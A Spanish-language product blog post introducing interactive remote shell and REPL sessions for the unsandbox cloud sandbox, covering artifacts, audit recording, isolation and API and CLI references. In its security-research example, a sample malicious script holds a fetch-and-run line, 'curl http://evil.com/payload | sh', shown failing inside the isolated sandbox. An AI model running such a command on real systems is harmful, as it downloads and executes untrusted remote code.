Sesiones Remotas: Shells Interactivos y REPLs en la Nube
En nuestro post anterior, mostramos cómo teletransportar archivos hacia sandboxes. ¿Pero qué pasa con obtener datos fuera? ¿Y qué pasa si necesitas más que una ejecución única - qué pasa si necesitas una sesión interactiva real?
Hoy presentamos Sesiones Remotas - shells interactivos persistentes que se ejecutan dentro de contenedores unsandbox. Piensa en SSH hacia una VM en la nube, pero efímera, aislada y con auditoría integrada.
La Evolución: De Execute a Session
Nuestra API original era simple: enviar código, obtener salida.
POST /execute → { stdout, stderr, exit_code }
Esto funciona genial para automatización, pero los desarrolladores querían más:
- “¿Puedo explorar interactivamente?”
- “¿Puedo instalar paquetes durante la sesión?”
- “¿Puedo usar vim para editar archivos?”
- “¿Puedo obtener un REPL de Python en lugar de bash?”
- “¿Puedo exportar archivos que creé?”
La respuesta a todas estas preguntas ahora es sí.
La Teletransportación Funciona en Ambas Direcciones
¿Recuerdas la teletransportación de archivos? Los archivos van hacia los sandboxes vía /tmp/input/. Ahora pueden salir vía /tmp/artifacts/.
┌─────────────────────────────────────────────────────────────────┐
│ Your Machine │
└─────────────────────────────────────────────────────────────────┘
│ ▲
│ un session │ Artifacts
│ un script.py -f data.csv │ (on exit)
▼ │
┌─────────────────────────────────────────────────────────────────┐
│ unsandbox Container │
│ │
│ /tmp/input/ Your Code /tmp/artifacts/ │
│ ├─ data.csv ───► Processes ───► ├─ results.csv │
│ └─ config.json Files ├─ model.pkl │
│ └─ report.pdf │
└─────────────────────────────────────────────────────────────────┘
Teletransportación bidireccional:
-
Entrada - Los archivos que envías llegan a
/tmp/input/ -
Salida - Los archivos que creas en
/tmp/artifacts/regresan a ti
El CLI un: Tu Portal a Sandboxes Remotos
Construimos un CLI nativo que hace que la ejecución remota se sienta local:
Ejecutar un Script
# Ejecutar un script de Python
un script.py
# Con archivos de entrada (teletransportados)
un -f data.csv -f config.json process.py
# Obtener artefactos compilados de vuelta
un -a -o ./bin main.c
La bandera -a le dice a unsandbox que recolecte cualquier cosa que pongas en /tmp/artifacts/ y la envíe de vuelta. Perfecto para:
- Binarios compilados de C/Rust/Go
- Reportes generados (PDF, CSV)
- Modelos ML entrenados
- Imágenes procesadas
Sesiones Interactivas
# Iniciar una sesión bash interactiva
un session
# Elige tu shell
un session --shell zsh
un session --shell fish
# O salta directamente a un REPL
un session --shell python3
un session --shell node
un session --shell julia
Lo que obtienes:
- PTY completo con colores y posicionamiento de cursor
- Autocompletado con Tab
- Historial (las teclas de flecha funcionan)
- Soporte de redimensionamiento (vim/nano simplemente funcionan)
- tmux por debajo (las sesiones persisten a través de desconexiones)
Shells y REPLs Disponibles
Soportamos más de 30 shells y REPLs:
Shells Tradicionales:
bash, dash, sh, zsh, fish, ksh, tcsh, csh, elvish, xonsh, ash
REPLs de Lenguajes:
python3, bpython, ipython # Python
node # JavaScript
ruby, irb # Ruby
lua # Lua
php # PHP
perl # Perl
guile, scheme # Scheme
ghci # Haskell
erl, iex # Erlang/Elixir
sbcl, clisp # Common Lisp
r # R
julia # Julia
clojure # Clojure
Ejemplo: REPL de Python en la nube
$ un session --shell python3
Connecting to unsandbox... done
>>> import numpy as np
>>> np.random.seed(42)
>>> np.random.randn(3, 3)
array([[ 0.49671415, -0.1382643 , 0.64768854],
[ 1.52302986, -0.23415337, -0.23413696],
[ 1.57921282, 0.76743473, -0.46947439]])
>>> exit()
Session ended.
Persistencia de Sesión: Tu Elección
Por defecto, las sesiones son efímeras - cuando te desconectas, el contenedor se destruye inmediatamente. Esta es la opción más segura: salida limpia, sin recursos huérfanos.
Pero a veces necesitas persistencia. Usa --tmux o --screen para habilitar soporte de reconexión:
# Por defecto: la sesión termina al desconectar (salida limpia)
$ un session
root@unsb-vm-12345:~$ exit
Session ended.
# Con --tmux: la sesión persiste, puede reconectarse después
$ un session --tmux
root@unsb-vm-12345:~$ # Presiona Ctrl+b luego d para desconectar
Session detached. Reconnect with: un session --attach unsb-vm-12345
Comparación de Comportamiento de Sesión
| Modo | Al Desconectar | Al Salir | Caso de Uso |
|---|---|---|---|
| Por defecto | Contenedor destruido | Contenedor destruido | Tareas rápidas, entorno limpio |
--tmux |
Sesión persiste | Contenedor destruido | Trabajo de larga duración, similar a SSH |
--screen |
Sesión persiste | Contenedor destruido | Alternativa a tmux |
Gestión de Sesiones Persistentes
# Listar todas tus sesiones activas
$ un session --list
Active sessions: 2
SESSION ID CONTAINER SHELL TTL STATUS
abc123... unsb-vm-56789 bash 58m30s active
def456... unsb-vm-56790 python3 45m12s active
# Reconectar por nombre de contenedor (más fácil de recordar)
$ un session --attach unsb-vm-56789
Reconnecting to session abc123... done
root@unsb-vm-56789:~$ echo "still here!"
still here!
# O terminar una sesión remotamente
$ un session --kill unsb-vm-56789
Terminating session abc123... done
Session terminated successfully
Desconectarse de tmux/screen:
-
tmux: Presiona
Ctrl+bluegod -
screen: Presiona
Ctrl+aluegod
Importante: Si estás ejecutando un dentro de una sesión tmux local, usa --screen en su lugar para evitar conflictos de atajos de teclado.
Extracción de Artefactos: Obtén Tus Datos
Todo lo que pongas en /tmp/artifacts/ se recolecta cuando la sesión termina:
$ un session -a -o ./outputs
Connecting to unsandbox... done
root@sandbox:~$ python3 -c "
import json
with open('/tmp/artifacts/results.json', 'w') as f:
json.dump({'answer': 42}, f)
"
root@sandbox:~$ echo "hello" > /tmp/artifacts/notes.txt
root@sandbox:~$ exit
Session ended.
Artifact saved: results-sandbox-abc123.json (16 bytes)
Artifact saved: notes-sandbox-abc123.txt (6 bytes)
Características de artefactos:
- Recolectados automáticamente al finalizar la sesión
- Con sufijo del nombre del contenedor (sin sobrescritura entre sesiones)
- Funciona con archivos binarios (imágenes, binarios, archivos)
- Archivos vacíos soportados (para archivos de bandera)
Auditoría: Grabar Todo
Para cumplimiento, depuración o simplemente curiosidad, habilita la grabación completa de sesión:
$ un session --audit -o ./logs
Connecting to unsandbox... done
root@sandbox:~$ vim test.py # Sesión completa de vim grabada
root@sandbox:~$ python3 test.py
Hello, world!
root@sandbox:~$ exit
Session ended.
Artifact saved: session.log-sandbox-abc123.gz (45678 bytes)
Artifact saved: bash_history-sandbox-abc123 (234 bytes)
Tip: Replay session with: zcat session.log*.gz | less -R
Lo que se graba:
| Modo | Lo Que Se Captura | Tamaño |
|---|---|---|
--audit en creación |
E/S de terminal completa (cada tecla, cada salida) | ~1-5MB/sesión |
--audit en terminación |
Solo bash_history (solo comandos) | ~1KB |
| Ambos | Todo | Ambos archivos |
El session.log contiene:
- Todos los caracteres enviados a la terminal (incluyendo códigos de escape)
- Sesiones completas de vim/nano con movimientos de cursor
- Salida interactiva de Python/Node
- Colores, formato, todo
Reproducir con:
# Ver la grabación
zcat session.log-sandbox-abc123.gz | less -R
# O usa scriptreplay para reproducción en tiempo real (si se capturó el timing)
scriptreplay -t timing.log -s session.log
Seguridad: Mismo Modelo Zero-Trust
Las sesiones mantienen todas nuestras garantías de seguridad:
Aislamiento de red:
root@sandbox:~$ curl google.com
curl: (6) Could not resolve host: google.com
root@sandbox:~$ ping 8.8.8.8
ping: connect: Network is unreachable
A menos que solicites explícitamente acceso a la red:
un session -n semitrusted # Habilita red saliente
Efímero por diseño:
-
Contenedor destruido al
exit - Sin persistencia entre sesiones
- Cada sesión está completamente aislada
Límites de recursos:
- Memoria: Limitada por contenedor
- CPU: Programación de cuota justa
- Disco: tmpfs con límites de tamaño
- Tiempo: Limpieza automática después de tiempo de inactividad
Referencia API
Crear una Sesión
POST /sessions
{
"network_mode": "zerotrust", # or "semitrusted"
"ttl": 3600, # seconds (max 86400)
"shell": "bash", # see supported list
"audit": true, # enable session recording
"multiplexer": "tmux" # or "screen", or omit for none
}
Response:
{
"session_id": "abc123...",
"container_name": "unsb-vm-12345",
"multiplexer": "tmux",
"websocket_url": "/sessions/abc123/shell"
}
Comportamiento del multiplexor:
- Omitido/null: La sesión termina inmediatamente al desconectar WebSocket
- “tmux”: La sesión persiste vía tmux, reconectar con el mismo endpoint WebSocket
- “screen”: La sesión persiste vía GNU screen, reconectar con el mismo endpoint WebSocket
Conectar vía WebSocket
WSS /sessions/:id/shell
Binary frames → stdin
Binary frames ← stdout
JSON frames ← control (ready, exit, error)
Terminar y Obtener Artefactos
DELETE /sessions/:id?audit=1
Response:
{
"success": true,
"artifacts": [
{"filename": "results.json", "content_base64": "..."},
{"filename": "session.log.gz", "content_base64": "..."}
]
}
Casos de Uso del Mundo Real
1. Sesiones de Codificación de Agentes IA
Dale a tu agente IA un entorno persistente:
# Agent creates session
session = unsandbox.create_session(shell="python3")
# Agent works interactively
session.send("import pandas as pd\n")
session.send("df = pd.read_csv('/tmp/input/data.csv')\n")
session.send("df.to_csv('/tmp/artifacts/processed.csv')\n")
# Get results
artifacts = session.terminate(audit=True)
# → processed.csv + session.log.gz for review
2. Entorno de Desarrollo Remoto
¿Necesitas un entorno limpio para pruebas?
# Iniciar sesión con red para instalación de paquetes
un session -n semitrusted --shell bash
# Instala lo que necesites
root@sandbox:~$ pip install pytorch transformers
root@sandbox:~$ npm install -g typescript
# Haz tu trabajo
root@sandbox:~$ python train.py
root@sandbox:~$ cp model.pt /tmp/artifacts/
# Sal y obtén tu modelo
root@sandbox:~$ exit
Artifact saved: model-sandbox-xyz.pt (150MB)
3. Investigación de Seguridad
Analiza scripts sospechosos de forma segura:
un session --audit -o ./analysis
root@sandbox:~$ cat /tmp/input/suspicious.sh
#!/bin/bash
curl http://evil.com/payload | sh # Can't reach evil.com!
root@sandbox:~$ bash /tmp/input/suspicious.sh
curl: (6) Could not resolve host: evil.com
root@sandbox:~$ exit
# Full session recorded for analysis
4. Enseñanza y Tutoriales
Los estudiantes obtienen sus propios entornos aislados:
# El estudiante ejecuta
un session --shell python3
>>> # Follow along with the tutorial
>>> import matplotlib.pyplot as plt
>>> plt.plot([1, 2, 3], [1, 4, 9])
>>> plt.savefig('/tmp/artifacts/plot.png')
>>> exit()
# El estudiante obtiene su gráfico
Artifact saved: plot-sandbox-xyz.png (12KB)
Referencia Rápida del CLI
# Ejecutar scripts
un script.py # Execute Python script
un -e DEBUG=1 script.py # With environment variable
un -f data.csv process.py # With input file
un -a -o ./bin main.c # Save compiled artifacts
# Sesiones interactivas
un session # Bash shell (terminates on disconnect)
un session --tmux # Bash with tmux (can reconnect)
un session --screen # Bash with screen (can reconnect)
un session --shell python3 # Python REPL
un session --shell node --tmux # Node.js REPL with reconnect
un session -n semitrusted # Session with network access
# Gestión de sesiones
un session --list # List active sessions
un session --attach unsb-vm-12345 # Reconnect by container name
un session --kill unsb-vm-12345 # Terminate a session
# Auditoría y artefactos
un session --audit -o ./logs # Record session for auditing
un session -a -o ./out # Save /tmp/artifacts/ to ./out
¿Qué Sigue?
Estamos trabajando en:
- Compartir sesiones - Múltiples usuarios en la misma sesión
- Almacenamiento persistente - Montajes de volumen opcionales
- Acceso a GPU - Contenedores habilitados para CUDA
- Imágenes personalizadas - Trae tu propio contenedor
Pruébalo Ahora
-
Obtén el CLI:
# Download from releases or build from source curl -L https://unsandbox.com/cli/un -o un chmod +x un -
Configura tu clave API:
export UNSANDBOX_API_KEY=your_key_here -
Inicia una sesión:
un session --shell python3
Bienvenido a tu sandbox en la nube. ¿Qué vas a construir?